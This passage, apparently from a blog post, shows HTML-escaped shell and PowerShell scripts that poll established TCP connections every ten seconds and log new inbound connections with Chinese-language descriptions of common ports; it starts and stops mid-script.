    8081&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"HTTP-备用端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    5228&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Google Play Services 推送端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    5223&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Apple Push Notification Service 推送端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    110&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"POP3 邮件接收协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    143&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"IMAP 邮件同步协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    993&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"IMAPS - 加密IMAP协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    465&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SMTPS - 加密SMTP协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    5900&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"VNC 远程桌面访问"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    11211&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Memcached 内存缓存系统"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    69&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"TFTP 简易文件传输协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    161&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"SNMP 网络管理协议"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    8443&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"HTTPS-Alt 安全网站备用端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"未知端口"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    &lt;span class="k"&gt;esac&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="c"&gt;# 无限循环，每10秒检查一次TCP入站连接&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="c"&gt;# 获取当前ESTABLISHED状态的TCP连接（排除本地环回地址）&lt;/span&gt;
    lsof &lt;span class="nt"&gt;-iTCP&lt;/span&gt; &lt;span class="nt"&gt;-nP&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;ESTABLISHED | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s2"&gt;"127.0.0.1"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

    &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; line&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
        &lt;span class="c"&gt;# 提取远程IP和本地端口&lt;/span&gt;
        &lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$line&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $9}'&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;'-&amp;gt;'&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
        &lt;span class="nv"&gt;src_ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$remote&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;':'&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
        &lt;span class="nv"&gt;dst_port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$remote&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="s1"&gt;':'&lt;/span&gt; &lt;span class="s1"&gt;'{print $2}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
        &lt;span class="nv"&gt;timestamp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="s1"&gt;'+%Y-%m-%d %H:%M:%S'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

        &lt;span class="c"&gt;# 日志去重&lt;/span&gt;
        &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;/dev/null
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$?&lt;/span&gt; &lt;span class="nt"&gt;-ne&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
            &lt;/span&gt;&lt;span class="nv"&gt;port_desc&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;explain_port &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
            &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$timestamp&lt;/span&gt;&lt;span class="s2"&gt; | &lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt; | &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt; | &lt;/span&gt;&lt;span class="nv"&gt;$port_desc&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
            &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"新入站连接：&lt;/span&gt;&lt;span class="nv"&gt;$src_ip&lt;/span&gt;&lt;span class="s2"&gt; -&amp;gt; 本地端口 &lt;/span&gt;&lt;span class="nv"&gt;$dst_port&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="nv"&gt;$port_desc&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;
        &lt;span class="k"&gt;fi
    done&lt;/span&gt; &amp;lt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

    &lt;span class="nb"&gt;sleep &lt;/span&gt;10
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Windows:
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$LogFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="bp"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;\inbound_connections.log"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nv"&gt;$TmpFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;TEMP&lt;/span&gt;&lt;span class="s2"&gt;\current_connections.tmp"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Set-ExecutionPolicy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RemoteSigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Scope&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;CurrentUser&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Initialize log file&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-Not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Test-Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$LogFile&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"Timestamp | Source IP | Destination Port"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Out-File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$LogFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Encoding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;utf8&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Starting inbound connection monitoring..."&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;span class="kr"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Show-Spinner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$spinner&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@(&lt;/span&gt;&lt;span class="s1"&gt;'|'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'/'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'-'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'\'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-lt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$spinner&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$j&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$spinner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-NoNewline&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;`r&lt;/span&gt;&lt;span class="s2"&gt;[INFO] Monitoring in progress... &lt;/span&gt;&lt;span class="nv"&gt;$char&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Start-Sleep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Milliseconds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;200&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="n"&gt;Write-Host&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;`r&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-NoNewline&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kr"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Describe-Port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;param&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;int&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="nv"&gt;$Port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;switch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$Port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SSH - 安全远程访问协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HTTP - 未加密网页流量"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HTTPS - 加密网页流量"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;3306&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MySQL - 关系型数据库"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;5432&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PostgreSQL - 关系型数据库"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;6379&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Redis - 内存数据存储/缓存"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;27017&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MongoDB - NoSQL数据库"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"FTP - 文件传输协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SMTP - 邮件发送协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;3389&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"RDP - 远程桌面协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;8080&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HTTP备用端口 - 开发/测试环境常用"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;8081&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HTTP开发端口 - Web开发常用"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;5228&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Google Play 服务 - 推送与同步"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;5223&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"APNs - 苹果推送通知服务"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"POP3 - 邮件接收协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;143&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"IMAP - 邮件同步协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;993&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"IMAPS - 加密IMAP协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;465&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SMTPS - 加密SMTP协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;5900&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"VNC - 远程桌面访问"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;11211&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Memcached - 分布式内存缓存"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;69&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"TFTP - 简易文件传输协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;161&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SNMP - 网络监控与管理协议"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="mi"&gt;8443&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"HTTPS备用端口 - 安全开发/测试环境常用"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="n"&gt;Default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"未知端口"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="kr"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Show-Spinner&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="c"&gt;# Get all ESTABLISHED TCP connections excluding local ones&lt;/span&gt;&lt;span class="w"&gt;
